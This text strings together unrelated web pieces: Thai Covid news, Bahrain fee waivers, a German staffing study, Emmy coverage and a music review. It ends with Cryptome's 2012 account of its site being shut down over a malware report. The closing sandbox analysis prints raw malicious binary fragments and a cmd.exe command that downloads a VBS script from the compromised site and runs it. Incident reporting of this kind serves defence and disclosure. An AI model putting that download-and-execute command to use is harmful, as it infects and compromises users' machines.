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Experts suggest that restrictions can be eased in some areas, provided it is not done all at once and everywhere.
Owing to the drop in new confirmed Covid-19 cases, an informed source said that after Prime Minister Prayut Chan-o-cha chaired a meeting with the government’s Centre for Covid-19 Situation Administration (CCSA) on Monday (April 13), the authorities signalled a chance of easing restrictions on businesses that have been forced to close. There were only 28 new cases on that day.
The governor of Nonthaburi province made the first move in easing restrictions, but reversed his position soon after he was hit by criticism.
Also, on Tuesday, the number of cases rose to 34 and CCSA spokesman Taweesin Visanuyothin warned that the country should not let its guard down. He said the early easing of restrictions could lead to a spike in cases, citing Singapore and Japan, where infections rose sharply after being flat for a while.
A report on national security suggests that restrictions should be lifted very gradually, adding that only some provinces or some areas should reopen first. For instance, provincial governors may consider reopening hairdressing and beauty salons first provided the number of customers is kept limited and hand gel or steriliser is made available. Clients will also be required to wear face masks.
Dr Amorn Leelarasamee, president of the Medical Association of Thailand, said he agrees that some restrictions should be lifted to support businesses, but it should be done slowly, carefully and hand in hand with seven-day assessments of new cases. For instance, if new cases are in single digits, then shops or businesses can be reopened provided no more than 10 people are served at a time.
He also said that social distancing should continue being practised. Large department stores may have fewer risks, compared to small air-conditioned shops, the doctor said. Also, entertainment venues that are usually packed with customers, such as pubs and restaurants, should be the last to be reopened, he suggested.
Amorn also said the number of customers allowed to enter shops should be increased gradually, such as 10 initially, then 50 and then 100 based on the rate of new cases. He also warned that there is a high chance of a spike in new cases once the flight ban ends on April 18. Therefore, it is necessary that all foreign or Thai arrivals be put under quarantine for 14 days.
In the future, foreign tourists wanting to visit Thailand will have to apply a month ahead and must agree to a 14-day quarantine upon entering the country. He said this move may help the private sector arrange quarantine sites for visitors.
Meanwhile, Dr Chaiwat Techapaitoon, leader of a group supporting medical doctors fighting Covid-19, voiced concerns about the country running out of Favipiravir – the drug that is being used to treat the virus. Doctors are using this drug to treat critical patients or those whose lungs have been invaded by the virus.
He said if this drug was more well supplied, doctors can prescribe it to patients with mild symptoms, so fewer people end up in intensive care. However, he said, many countries are competing to buy this drug, which is leading to an increase in price and short supply.
He said the government should consider importing chemicals to produce the drug locally.
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Steve jobs died from pancreatic cancer. Pancreatic Cancer = P.C. pc killed the mac guy
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I like this take on moondancer she came out really cute. I'm not sure why ponies with ponytails are so damn cute but they are.
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Bahrain’s Finance and National Economy Minister has announced more details of the 200 government services which will now be free for Bahraini citizens, according to a report by the Gulf Daily News (GDN) website.
Some of the government services which will now no longer apply and will be free include:
Fees for issuing copies of government school student certificates
Fees for endorsement verification of degree certificates
Fees for updating the information in the national identity card for the elderly
Fees for assigning power of attorney to university students
Fees related to university scholarship agreements abroad
Fees related to authenticating a marriage contract
Fees covering the personal status of individuals within cases related to family rights
Fees related to gifting real estate contracts
Fees for changing a company’s commercial name
Fees for the establishment of private training institutions concerned with providing training and qualifying trainees
Fees for registering individuals’ patents and fees related to issuance of environmental data and digital map
The move was ordered by Prime Minister Prince Khalifa bin Salman Al Khalifa following King Hamad’s order to review all tax measures and government fees.
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Der öffentliche Dienst in Deutschland steuert auf einen großen Fachkräftemängel zu: Bis 2030 wird dort mehr als jeder Dritte der rund 4,7 Millionen Beschäftigten in Rente gehen. Da es den Behörden zugleich an Nachwuchs mangelt, klafft eine Personallücke von über 730.000 Mitarbeitern. Davon entfallen ungefähr 400.000 auf die mittlere Führungsebene, die für die Umsetzung von Zukunftsinitiativen etwa mit Strategien für die Digitalisierung oder den Klimaschutz von besonderer Bedeutung ist.
Diese Erkenntnisse gehören zu den Kernergebnissen der McKinsey-Studie "Die Besten, bitte – wie der öffentliche Sektor als Arbeitgeber punkten kann". Dafür haben die Berater 165 Führungskräfte der öffentlichen Hand befragt und die aktuellsten Personalstatistiken aus Bund und Ländern ausgewertet.
Talente fehlen
Der öffentliche Sektor hat demnach schon jetzt Schwierigkeiten, talentierte Nachwuchskräfte zu gewinnen. Gerade neue Behörden wie die "Zentrale Stelle für Informationstechnik im Sicherheitsbereich" (Zitis) suchen händeringend vor allem IT-Spezialisten. 90 Prozent der Umfrageteilnehmer schätzen diese Entwicklung als "Herausforderung", nur zehn Prozent sind aktuell mit der Personalgewinnung zufrieden. Jeder Dritte räumt ein, dass mittlerweile fast 50 Prozent der Bewerber ein Vertragsangebot ablehnten. 77 Prozent berichten, dass die Top-Studienabsolventen eines Jahrgangs nur selten oder nie in ihrer Organisation anfangen.
72 Prozent der Befragten bemängeln, dass ein klares Wertversprechen in ihrer Organisation fehle oder dass dieses veraltet sei. Dabei wirbt die öffentliche Hand gern mit der Sicherheit des Arbeitsplatzes, dem Nutzen der Tätigkeit für die Allgemeinheit oder einer guten Vereinbarkeit von Familie und Beruf. Offenbar kommt sie damit aber nicht richtig an.
"Unattraktive Arbeitskultur"
31 Prozent der Teilnehmer sagen, dass leitende Mitarbeiter den öffentlichen Sektor verlassen, weil die Arbeitskultur in ihrer derzeitigen Organisation nicht attraktiv ist. Sie vermissen das Arbeiten in wechselnden Teams und nach individuellen Zeiten. Dabei sei die Verwaltung bemüht, innovative und flexible Arbeitsbedingungen anzubieten: 67 Prozent der Befragten gaben an, dass ihre Organisation Teilzeitmodelle als flexible Arbeitsoption anbiete. 51 Prozent erklärten, dass bei ihnen auch Heimarbeit möglich sei.
Offensichtlich greifen diese Initiativen aber noch nicht hinreichend, da sie oft an Formalitäten wie fehlenden Diensthandys oder strengen Vorschriften für Telearbeit scheitern. So müssen Interessenten etwa zunächst den Besuch der "Arbeitssicherheitskommission" über sich ergehen lassen.
Nicht erfüllte Gehaltsvorstellungen sind laut Umfrage der häufigste Grund, warum Nachwuchsführungskräfte in die Privatwirtschaft wechseln. Über 59 Prozent der Befragten gaben an, dass ihre Gehaltsvorstellungen nicht erfüllt würden. 2017 lag das Durchschnittsbruttogehalt beim jüngeren Management im öffentlichen Sektor bei 46.707 Euro, während sich in der Privatwirtschaft etwa als Abteilungsleiter 75.675 Euro machen ließen.
Karrierepfade gefordert
Die "dramatischen" Resultate bezeichnet McKinsey als alarmierend: "Die öffentliche Hand droht handlungsunfähig zu werden." Um die Rekrutierung von Beschäftigten auf der mittleren Führungsebene zu stärken, müssten die Behördenchefs handeln. Dafür nennen die Berater sechs Ansatzpunkte wie ein überzeugendes und auch über digitale Kanäle maßgeschneidert auf Interessenten ausgerichtetes Wertversprechen, das Angebot transparenter und attraktiver Karrierepfade für Leistungsträger, eine inspirierende Arbeitsatmosphäre oder das Angebot attraktiver Weiterbildungsmodelle.
Das Austauschprogramm für Führungskräfte zwischen der Deutschen Bank und dem Bundesinnenministerium führen die Verfasser als ein Beispiel an, wie der Herausforderung rund um eine bessere Bezahlung begegnet werden könnte. Dabei wechseln leitende IT-Mitarbeiter der Deutschen Bank über zwei bis zwölf Monate in den Stab des Innenressort – und umgekehrt. Ausgewählte Behördenprojekte und Linienaufgaben könnten so von langjähriger externer Erfahrung und neuen Perspektiven profitieren. (anw)
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It was more revenge for the nerds Sunday night as, one year after “Game of Thrones” took its first drama series Emmy, the night’s top drama acting prizes went to a pair of young performers — Tatiana Maslany and Rami Malek — from genre shows very much beloved by the Comic-Con crowd.
Maslany won the lead actress in a drama Emmy for “Orphan Black,” a trippy sci-fi thriller that has the 30-year-old Canadian-born actress playing multiple clones. It was her second nomination and first victory.
“I feel so lucky to be on a show that puts women at the center,” Maslany said from the stage.
Malek, 35, meanwhile, won the lead actor in a drama Emmy on his first try for the debut season of “Mr. Robot,” in which he plays Elliot, a lonely, delusional cyber-vigilante aiming to bring down the world’s biggest corporation and, in the process, eliminate debt and right income inequality.
“Please tell me you’re seeing this too,” a surprised Malek said, playing off the character’s paranoia. (Earlier, he had told E! he was practicing his losing face.)
“I’m honored to stand here and represent my family and every single person who has helped me to get this far,” Malek continued. “I’m honored to work with a pure visionary in [show runner] Sam Esmail. I wouldn’t be here without you.”
1 / 34 Louie Anderson gets ready to enter the Microsoft Theater. (Al Seib / Los Angeles Times) 2 / 34 Tituss Burgess (Al Seib / Los Angeles Times) 3 / 34 Jamie Brewer (Al Seib / Los Angeles Times) 4 / 34 Ariel Winter (Al Seib / Los Angeles Times) 5 / 34 Eric Stonestreet takes a selfie with fans. (Al Seib / Los Angeles Times) 6 / 34 Sterling K. Brown and Ryan Michelle Bathe. (Al Seib / Los Angeles Times) 7 / 34 John Singleton (Al Seib / Los Angeles Times) 8 / 34 Emily Robinson (Al Seib / Los Angeles Times) 9 / 34 Jeremy Maguire (Al Seib / Los Angeles Times) 10 / 34 Nolan Gould (Al Seib / Los Angeles Times) 11 / 34 Gaten Matarazzo, Millie Bobby Brown and Caleb McLaughlin. (Al Seib / Los Angeles Times) 12 / 34 Keegan-Michael Key and Elisa Pugliese (Al Seib / Los Angeles Times) 13 / 34 Jenifer Lewis (Al Seib / Los Angeles Times) 14 / 34 Regina King and Trevor Jackson (Al Seib / Los Angeles Times) 15 / 34 Holly Taylor (Al Seib / Los Angeles Times) 16 / 34 Emily Ratajkowski (Al Seib / Los Angeles Times) 17 / 34 (L-R) Kelly Preston, John Travolta and Rami Malek. (Al Seib / Los Angeles Times) 18 / 34 Sarah Paulson (Al Seib / Los Angeles Times) 19 / 34 Courtney B. Vance (Al Seib / Los Angeles Times) 20 / 34 Heidi Klum and Padma Lakshmi (Al Seib / Los Angeles Times) 21 / 34 Yara Shahidi (Al Seib / Los Angeles Times) 22 / 34 Viola Davis gives a wave. (Al Seib / Los Angeles Times ) 23 / 34 William H. Macy and Felicity Huffman are all smiles. (Al Seib / Los Angeles Times) 24 / 34 Jon Voight and Miles Brown of “black-ish” pose for a photo. (Al Seib / Los Angeles Times) 25 / 34 Bryan Cranston signs an autograph. (Al Seib / Los Angeles Times) 26 / 34 Sofia Vergara walks the red carpet. (Al Seib / Los Angeles Times) 27 / 34 Aziz Ansari flashes a smile. (Al Seib / Los Angeles Times) 28 / 34 Priyanka Chopra glides in a flowing gown. (Al Seib / Los Angeles Times) 29 / 34 Emilia Clarke makes her way onto the red carpet. (Al Seib / Los Angeles Times) 30 / 34 Angela Bassett arrives in a bright gown. (Al Seib / Los Angeles Times) 31 / 34 Michelle Dockery hits the red carpet. (Al Seib / Los Angeles Times) 32 / 34 Mark Burnett and Roma Downey mug for the camera. (Al Seib / Los Angeles Times) 33 / 34 Laurence Fishburne makes an entrance. (Al Seib / Los Angeles Times) 34 / 34 Hank Azaria sports the white-tie-on-white-shirt look. (Al Seib / Los Angeles Times)
Backstage, a thrilled Maslany expanded on her comments from the stage, talking about “digging deep to discover new instincts and impulses to color each of the characters.”
“It’s a real point of pride for all of us on the show—there’s so much positivity in terms of representation and the way young girls were seeing themselves portrayed on the screen,” she told reporters. “The LGBT community reached out to us as well — there is an immense joy in getting to tell women’s stories that we don’t normally see.”
Maslany’s win was something of a shocker. She prevailed over last year’s winner, Viola Davis (“How to Get Away With Murder”), Taraji P. Henson (“Empire”), Robin Wright (“House of Cards”), Claire Danes (“Homeland”) and Keri Russell (“The Americans”).
FULL COVERAGE: Memorable moments | Red carpet |Show highlights | Winners | Fashion
Malek triumphed over Bob Odenkirk (“Better Call Saul”), Liev Schreiber (“Ray Donovan”), Matthew Rhys (“The Americans”), Kyle Chandler (“Bloodline”) and Kevin Spacey (“House of Cards”).
He noted in a Times interview the special connection he has developed with Elliot through the show’s two seasons.
“He also brings out some of the better qualities in me,” Malek said. “When you constantly work on someone like Elliot to figure out how they tick, it can’t help but allow you to ask the same personal questions. And when that happens, it can be either uplifting or quite devastating and sad.”
So it wasn’t surprising Malek gave Elliot a shoutout from the podium and, later, backstage.
“I want to honor all the Elliots, because there’s a little bit of Elliot in all of us.”
“We all have things in common with him,” Malek added later. “We live in a world where so many of us feel voiceless, like we’re not being heard by our government or society. I just want everyone, no matter how you grew up — your socioeconomic circumstances that you were born into — to be given a chance like I’ve been given a chance.”
See the most-read stories this hour »
glenn.whipp@latimes.com
Twitter: @glennwhipp
MORE:
Julia Louis-Dreyfus makes Emmy history
Why all the love for ‘People v. O.J.’? ‘The case touches on everything that America is obsessed about’
What was really inside the ‘Stranger Things’ kids’ sandwiches? And did anyone eat them?
Jeffrey Tambor: I’d like to be the last cisgender man playing a transgender woman
Louie Anderson hopes ‘Baskets’ will help people embrace different families instead of labeling them ‘those weirdos’
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When I feel like the walls are closing in on me, it’s music that gives me the mental space I need to become whole again! When I feel like I have nothing else left inside, it’s music that fills me with the power to battle my inner demons. I love when heavy music is created in a way that is uplifting while still maintaining its strength. The new LP from TELEPATHY entitled Tempest is one of those records that takes my mind to the place it needs to be! CVLT Nation is beyond stoked to be sharing with you their new record in full below, and we would like to salute Golden Antenna Records (pre-order in effect HERE!) for releasing such a stellar offering on March 31st.
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14 March 2012. A reader writes cryptome-shut.htm is reported to be malware due to the contents of the Steve Wiley's email reporting infection of Cryptome files. In the past Cryptome has received claims that it is hosting malware because files contain the names of malware but not the malware (an email in the cyperpunks archive). In a few other cases Cryptome has hosted malware needed for research and defense against malware -- such as the DIRT trojan -- those files are also reported as malware. Recently the HBGary cache of malware research contained large numbers of actual malware; when selections were hosted on Cryptome those files also produced malware reports. There are also instances of infected files cached by Google's and other aggregator's siphon of Cryptome setting off malware alarms due to the cached and purloined files being delivered to users rather than subsequently-cleaned files on Cryptome. Take it or leave it, both Google and Norton report Cryptome is safe and free of infection even while malware sleuths claim it is infected. Malware claims are growing as publicity about them increases, similar to cybersecurity panic in general. Our latest Norton protection program is obnoxiously abusive: hogs CPU, delays email unnecessarily, blares warnings, pop-ups in the middle of work demanding attention, behaving like an authoritarian spy and police officer claiming to protect when it is merely hawking its blind faith religion. Zealots of cleanliness all too often turn out to be Typhoid Marys due to ignorance about how infection is spread and promulgation of half-baked hygienic methods more dangerous than vermin. Cryptome advises avoidance of Cryptome as insecure and infected and to protect yourself against those pushing security and purity. 13 March 2012. Cryptome.org has moved to a new ISP. For now February-March 2012 files are available. All the files will be gradually added. The IT person and Network Solutions have apologized for the shutdown. By then all files had been deleted from the NetSol site and the domain transferred to a new ISP. From: "Wiley, Steve" <swiley[at}DowneyBrand.com>
To: "'Lee [at} Royal Gardens'" <lee[at}royalgardens.us>, "jya[at}pipeline.com"<jya[at}pipeline.com>
Date: Mon, 12 Mar 2012 18:50:56 -0700
Subject: RE: Cryptome Downed Please accept my apologies. I am sorry if I have alarmed you or caused any trouble. I am on your side. I am not blaming you for anything. I merely alerted you directly and timely to what I believed was a substantial problem with your website, with an eye solely towards helping you preserve your visitors security and by extension, your reputation. I alerted your ISP in the same email I alerted you, for the same reason - to help you preserve your site reputation. If you are on vacation, if your registrar has outdated contact info for you etc, your ISP may be the only one who I am able to contact quickly. I contact all manner of site operators daily, and most are in no position to help themselves, so I always include their ISP. Most of the time the ISP is the only person who gets my email, I usually get bounces from the other email addresses I try. Most sites are on hosted servers so alerting the ISP to fix one server, may preserve the integrity of many hundreds of domains as well as their visitors/clients/employees computers from infection. I see you have had some disagreements with ISPs in the past, and I want to assure you that I did not know that before I communicated with you or your ISP. I do not want to cause any trouble for you, I only want to help you. I do not have any agenda other than helping people whose sites have been hacked. Sometimes I have little time to compose the emails, and in my haste to alarm people to trouble my communications come off somewhat terse. Sometimes my attempts at helping blows up in my face, and I am constantly reminded of the ancient phrase which surely has resulted in much hilarity over the eons: don't shoot the messenger (please). Again please accept my apologies. _____ Subject: Network Solutions - Service Request 1-583317019
Date: Tue, 13 Mar 2012 00:11:29 -0400
From: "Network Solutions Support" <siebelcustserv[at}networksolutions.com>
To: "John Young" <jya[at}pipeline.com>, <cryptome[at}earthlink.net> Dear John, I am sorry to hear that your site was suspended. We have removed the suspension and we have technicians available that can restore the content which you removed from the server. If you would like us to restore this content for you, please email listen[at}networksolutions.com. This email is monitored by my team, as well as others, 24/7 and we can get the content restored fairly quickly. If you have any questions regarding this specific Service Request, you can chat directly with our Technical Support team by clicking on the following link: http://www.networksolutions.com/dms/support.jsp If you have any other questions please visit our comprehensive support section at http://www.networksolutions.com/support/ or contact our Support Center and refer to Service Request 1-583317019 and a specialist will be happy to further assist you and ensure that we completely resolve your issue as quickly as possible. Special Offer - 11% off on a new purchase. Valid on new purchases only. Does not include Web Design, Pay-Per-Click, or SEO offerings. See below for details. We understand that waiting on resolution for an issue is sometimes frustrating. We appreciate all of our customers, and our commitment to you is to provide the fastest service possible without sacrificing quality. For any inconveniences that you may have endured, please feel free to take advantage of the following offer: http://ads.networksolutions.com/landing?code=P99C383S603N0B11A1D38E0000V100&promo=GCMKT00043 Thank You, Daniel
Technical Services
Network Solutions
http://www.networksolutions.com/support/
US/Can: 1.866.391.4357
International: 1.570.708.8788 12 March 2012 Cryptome Shut by Network Solutions Cryptome was shutdown by its ISP, Network Solutions, at 12/Mar/2012:14:30:37 -0400 in
response to an IT person reporting an infection. Messages: Subject: Network Solutions Policy Violation - Reference number 1-583317019 Date: Mon, 12 Mar 2012 15:24:09 -0400 From: "Network Solutions Support" <siebelcustserv[at}networksolutions.com> To: "John Young" <jya[at}pipeline.com> Dear John, Your hosting package 01938F7.NETSOLHOST.COM was suspended because it is compromised due to vulnerabilities in your website code. I apologize for any inconvenience this may have caused. You will need to remove any and all malicious code, as well as secure the code itself which is allowing these vulnerabilities to occur. Below is an example of one of the malicious URL s which are being used. I would also recommend changing any ftp passwords which you have configured. One of many malicous URLs: hxxp://cryptome.org//Index/content/hcp_vbs.php?f=16&d=0 There may be other compromised content which was not discovered which should be removed as well. If you have any other questions please visit our comprehensive support section at http://www.networksolutions.com/support/ or contact our Support Center and refer to Service Request 1-583317019 and a specialist will be happy to further assist you and ensure that we completely resolve your issue as quickly as possible. Thank You, Daniel Technical Services Network Solutions http://www.networksolutions.com/support/ US/Can: 1.866.391.4357 International: 1.570.708.8788 Message No. 1 from IT person: From: "Wiley, Steve" <swiley[at}DowneyBrand.com> To: "'noc[at}networksolutions.com'" <noc[at}networksolutions.com>, "'abuse[at}networksolutions.com'" <abuse[at}networksolutions.com> CC: "'cryptome[at}earthlink.net'" <cryptome[at}earthlink.net>, "'jya[at}pipeline.com'"<jya[at}pipeline.com> Date: Mon, 12 Mar 2012 11:25:44 -0700 Subject: Infected host at IP 205.178.145.72 cryptome.org The site cryptome.org at IP 205.178.145.72 is hosting malicious binaries. Analysis and original PCAP is below. One of many malicous URLs: hxxp://cryptome.org//Index/content/hcp_vbs.php?f=16&d=0 PCAP: IP 10.1.1.86.1867 > 205.178.145.72.80: tcp 171 E... .[at}...p< ..V...H.K.PP..p...*P....\..GET /Index/w.php?f=16&e=0 HTTP/1.1 User-Agent: Java/1.6.0_21 Host: cryptome.org Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 0 E..(6.[at}....y...H ..V.P.K...*P...P............. IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1448 E...J.[at}........H ..V.P.K...*P...P..._...HTTP/1.1 200 OK Date: Mon, 12 Mar 2012 16:33:50 GMT Server: Apache/2.2.15 (FreeBSD) mod_ssl/2.2.15 OpenSSL/0.9.8e DAV/2 PHP/5.3.2 with Suhosin-Patch X-Powered-By: PHP/5.3.2 Pragma: public Expires: Mon, 12 Mar 2012 16:34:45 GMT Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="info.exe" Content-Transfer-Encoding: binary Content-Length: 360960 Content-Type: application/x-msdownload Set-Cookie: client=done; expires=Tue, 13-Mar-2012 16:33:51 GMT; path=/ Keep-Alive: timeout=5, max=400 Connection: Keep-Alive MZ......................[at}............................................. .!..L.! This program cannot be run in DOS mode. $............}...}...}...,...}.......}.......}...//..}.../...}.../...}.......} ...}...}...,+..}...,/..}...,...}...,...}...,...}..Rich.}...................... ....PE..L...[at}..N.............. ......H....................[at}..........................0....................... ...........................d.......B7......................................... ..................................................................text...|.... ....................... ..`.rdata..8...........................[at}....data... ...........................[at}....rsrc...B7.......8..................[at}..[at}....... .............................................................................. ............................................................................ IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1460 E...`1[at}........H ..V.P.K....P...P....c......................................................... .............................................................................. ...........................................>... .'..3......K..$..>... ....3......K..$..>.....]..3......K..$...U....8....K...<....N..R.....ZRQ......P .%......Z...K..?W..X...Y....8]...>... .h..3....<.K..$..>.....^..3....`.K..$..>... $...3......K..$...U....P1.\.........RT..Sj[at}.. ..Rh..K......R..<(.....#z.,$..,.K........YZh..K...x.....x.....+.K..8.K..9.g.3. ........3..4.Y.8.....;...........u.R.....Z..P]...>........3....t.K..$..>....7[ ..3......K..$...U....(...K..}.S..<..........~......[j......j........(].....>.. .....3....|.K..$...U....4...K.......R......SP........ZR. ...ZR.....Z..4]..>.....T..3......K..$...U....0...K.......Pj......XP.p.WV..8... ........XP.....W.E...X..0]....U....$...K..YdQ.....V."...YQVSP........YQ.v...Y. .$]....>........3....L.K..$..>... .}..3......K..$..>... :{..3....$.K..$...U....T.p.K..E.j......V.v.WP.......^......^j........T]..>.... .r..3....\.K..$..>.....z..3......K..$..>....=u..3....x.K..$..>....p...3....P.K ..$..>.....3..3.... .K..$..>.....8..3....H.K..$..>....G...3......K..$..>....|m ..3......K..$..>........3....[at}.K..$..>....,:..3....8.K..$...j.j.j..........g.. .j.j.j0..$..K.......P;.....(..`..*.......a...>... .q..3....X.K..$...U....[at}...K....3..v.W.wxP.wP....... ......_j......j..2.....[at}]...>... ....3......K..$..>... ....3....,.K..$..>........3....D.K..$..>... 8;..3....T.K..$..>....."..3....p. IP 10.1.1.86.1867 > 205.178.145.72.80: tcp 0 E..(nT[at}...#* ..V...H.K.PP.......P............. IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1436 E...v.[at}....=...H ..V.P.K....P...P...V...K..$..>... .+..3....h.K..$..>........3....0.K..$..>... K~..3....l.K..$..>.....M..3....d.K..$..>.....M..3......K..$..>.....5..3......K. .$...U....`.5..K. vTV......Q.......4......^j......j........`]...>....... .3......K..$..>....q ..3......K..$..>... 2r..3......K..$..>... .-..3....(.K..$..>... .k..3......K..$...U....H. .K...,...j..&...S.s`..|...R..4....d......[.....V..... ..H]........................................................................... ............................................................................... ............................................................................... ............................................................................... .............................................................................I. ..N.a./.k......&....gc!..}..p....O.>../..E.~.2.a5...f.em.Ki.I.gF.#PT.#Q.H4;:.gn h...hq$]i<O..;&K.?i.H............. ..^...^.|.a.}d..`Z.'....9....t.L..$..4%= ....R....CC..L.I...b...b....?...... ...&[..&./.../..K6..?.i...i.'?..L...Q...... ...D.~.C%..B{.v..wv.;w.....`.........H......X..rO..ro.....t.R..'W..WW........h% ....._...kf....Os.FKg7.J.C...GH...a.p.qT..uL...R"8.g..|.2[at}.-..........M]2j._2j. .Fi>...K..D.u......[at}1.9.0SF.c....s)...)..p....l>..m?...[at}..F...F..A..J=;.2F?.2.> )c.>*.5.7Fv.q...v)..n...r....&..n.....Y.!.Y1........<..[.'....b....}U.......... 0>M$1AM$.Q.(...L...L...Q....zO....[at}.p.[at}....B.xA...[at}6p.<.oX[at}.0.Dj/$E.......G.6*. ?2V....P.U Ul. .x.....=B. N....|C.......lC! IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1460 E...v.[at}........H ..V.P.K..."P...P.......%.F$J.F$..F...E...0.V..*.n......-......(I.J.M6.G.j...... ..,.W.,.......R..)...)........[a.W..V\..f\...D.\TI.]dI...M...M..KZ..X....|PFLN: .5Sm....5.0H>./X?.0lG.....C.';..X...Y..\B.;\s.<lt...y4..z4.S.3._..[at}.hV.9...%... "`.............t...............6........D.!Shm+Shn..hn..f...%...Y..Q"..UF..Yj~u ..p..........f,-.q--.Y.,.Y....25w.35w..4w.........89......D...Ec?&.e?&...N...N. .(ou.(ovc..0...1........8...y......3.Sd......;.\y......C]..G^:].......k.T.&.T.& ...&.S...K3. ..S.....A].j.........:,......}.l.}..........k...........w.V....TOd'............ T...H...I..I...i_.<v..<v.:...:...f/..f;..e..srIRu..!....f\..g\p...3i..Tk....... ....,...I..g..B.'.f.*,.C...C.sd.........l...k..e0..e0.e.L.(..Z.....`.(p.V..!V.. ..k.......6.....XK....wr..w...<....)...0g.N=....)..uP..u.Z ..m!...)P.|q.\(.YV.h .....Y.o...4...... v.. w.qf.a2kr.V{..V{..V{:.V{;j..2.w..7%c...kC..{D..i.T....wz I..4.Jki...........y.....q....F...C;w.....)...).^.(Qo...\...]4.<b5.<........\.. .....2...3.gR3N...R.....d.n.5.C......_8t.=t 7^.V.[at}s/.!0."....~...Wp..V:L0...Y.)..`. .., .]u.T.4I{...2...2...2...2...2...2...2...2...2...2...2.0.${}K..L.R ...................\...*.......z...............j...................:...J....... ....&...r...8...........J...........d.......V.................................. .....................................L...............8...................p..... ..........,........................... ...................\...*.......z...............j...................:...J....... ....&...r...8 IP 10.1.1.86.1867 > 205.178.145.72.80: tcp 0 E..(n\[at}...#" ..V...H.K.PP.......P....9........ IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1460 E...v.[at}........H ..V.P.K....P...P..................J...........d.......V........................ ...........................b.FreeEnvironmentStringsA.w.GetModuleHandleA..u.Open EventA....GlobalLock..j.GetACP....FreeConsole...CreateEventA....IsBadReadPtr... .GlobalUnlock..f.GetStdHandle..>.LoadLibraryExW..2.CloseHandle...ResumeThread.. 0.FindClose.}.OpenMutexA..y.GetSystemTime...VirtualProtectEx..I.LocalFree.N.lst rlenA..i.GetLastError..KERNEL32.dll....IsMenu..>.GetMessageA.>.GetMessageA...Ge tDlgItemTextA...DialogBoxParamA...GetComboBoxInfo.{.SetFocus....LoadCursorA._.G etSubMenu..-.ClipCursor..R.CreateWindowExA...EndDialog...IsIconic..USER32.dll.. ..ASN1BERDecBool..7.ASN1BEREncNull....ASN1BERDecCheck.b.ASN1DecAlloc..;.ASN1BER EncOpenType..MSASN1.dll....MessageBoxA.USER32.dll.............................. ............................................................................... ............................................................................... ..............................j.h.e.r.t.a.u.i.k.l.s.e.r.v.n.m.c.o.m.u.i.d...d.l .l...l.x.n.d.e.r.t.l.o.p.u.y.t.x.c.a........................................... ............................................................................... ............................................................................... ............................................................................... ............................................................................... ............................................................. IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1460 E...v.[at}........H ..V.P.K....P...P....U.......................................................... ............................................................................... ............................................................................... ............................................................................... ............................................................................... ............................................................................... ........................................................................ ...... .[at}.......................X.......p........................................... ....................... ....................... ............%..........x....... ........ '.."...........(...0...`..... ......%................................. ............................................................................$.. .'...'...#..................................................................... .................................................................. ........... ....$...1...C...U...f...y...........................r...a...M...=...-.......... ............................................................................... .......... ...............&...4...B...W...l............'''.utu............. ....]]\................|...e...O...=.......#........... ............................................................................... ....&...3...C...U...h...}....<==............................................... .....u...`. BINARY ANALYSIS: Orig. Traffic Capture J-10.1.1.86-322348.pcappcap 436027 bytes (text) VM Capture W9223397244018158380-79636-201-2012-03-12-173747.pvna.pcappcap 220175 bytes (text) Source Host: xxxxVM.downeybrand.com Src IP: 10.x.x.86 Src MAC Address: 00:22:0d:4e:89:c2 Malware: Exploit.Browser Analysis OS: Microsoft WindowsXP Professional 5.1 sp3 Bot Communication Details: Server DNS Name: cryptome.org Infection URLs: DL URL Occurred Content Type DL URL Occurred Content Type [] cryptome.org/blm042408.htm 03/12/12 17:37:32 text/html [] cryptome.org/Index/ edu.class 03/12/12 17:37:48 text/html [] cryptome.org/Index/index.php 03/12/12 17:37:39 text/html [] cryptome.org/Index/ net.class 03/12/12 17:37:49 text/html [] cryptome.org/Index/content/Jas.jar 03/12/12 17:37:47 [] cryptome.org/Index/ org.class 03/12/12 17:37:49 text/html [] cryptome.org/Index/com.class 03/12/12 17:37:48 text/html [] cryptome.org/Index/ w.php?f=16&e=0 03/12/12 17:38:45 OS Change Detail | Items: 55 | OS Info: Microsoft WindowsXP Professional 5.1 sp3 Top Type Mode/Class Details (Path/Message/Protocol/Hostname/Qtype/ListenPort etc.) Process ID Parent ID File Size Process Started C:\WINDOWS\system32\cmd.exe Packed: no GUI: no Parentname: C:\WINDOWS\pchealth\helpctr\binaries\helpctr.exe Command Line: "C:\WINDOWS\system32\cmd.exe" /c echo B="l.vbs":With CreateObject ("MSXML2.XMLHTTP"):.open "GET","http://cryptome.org//Index/content/hcp_vbs.php?f= 16&d=0",false:.send():Set A = CreateObject("Scripting.FileSystemObject"):Set D=A. CreateTextFile(A.GetSpecialFolder(2) + "\" + B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.GetSpecialFolder(2) + "\" + B > C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\\l.vbs && C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp \\l.vbs && taskkill /F /IM helpctr.exe 2464 444 Malicious Alert Anomaly Tag Message: Startup behavior anomalies observed Detail: A new process has been launched Mutex \BaseNamedObjects\SHIMLIB_LOG_MUTEX 2464 Mutex Imagepath: C:\WINDOWS\system32\cmd.exe 2464 File Created C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\l.vbs 2464 File Close C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\l.vbs MD5: df2ce7c80bd3f1170b46c3adb4d6c6eb SHA1: 4389878cb1c3e83abac7817336a55834b9d845b1 2464 349 Mutex Imagepath: C:\WINDOWS\system32\cmd.exe 2464 File Open C:\Documents and Settings\Administrator\My Documents\desktop.ini 2464 84 Mutex \BaseNamedObjects\ZoneAttributeCacheCounterMutex 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"ProxyBypass" = 0x00000001 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"IntranetName" = 0x00000001 2464 Regkey Setval 